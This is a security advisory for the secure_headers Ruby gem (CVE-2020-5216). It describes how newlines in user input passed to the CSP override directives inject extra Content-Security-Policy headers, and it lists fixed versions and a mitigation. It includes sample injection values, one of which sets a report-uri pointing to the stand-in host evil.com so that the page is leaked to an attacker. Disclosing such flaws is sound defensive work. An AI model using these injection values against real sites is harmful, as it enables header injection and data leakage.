If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.
Upon seeing a newline in the header, rails will silently create a new Content-Security-Policy
header with the remaining value of the original string. It will continue to create new headers for each newline.
e.g.
override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])`
would result in
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header
CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:
override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"])
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header
This has been fixed in 6.3.0, 5.2.0, and 3.9.0
override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])
https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c
The effect of multiple policies
If you have any questions or comments about this advisory:
github.com/rubysec/ruby-advisory-db/blob/master/gems/secure_headers/CVE-2020-5216.yml
github.com/twitter/secure_headers
github.com/twitter/secure_headers/commit/301695706f6a70517c2a90c6ef9b32178440a2d0
github.com/twitter/secure_headers/security/advisories/GHSA-w978-rmpf-qmwg
nvd.nist.gov/vuln/detail/CVE-2020-5216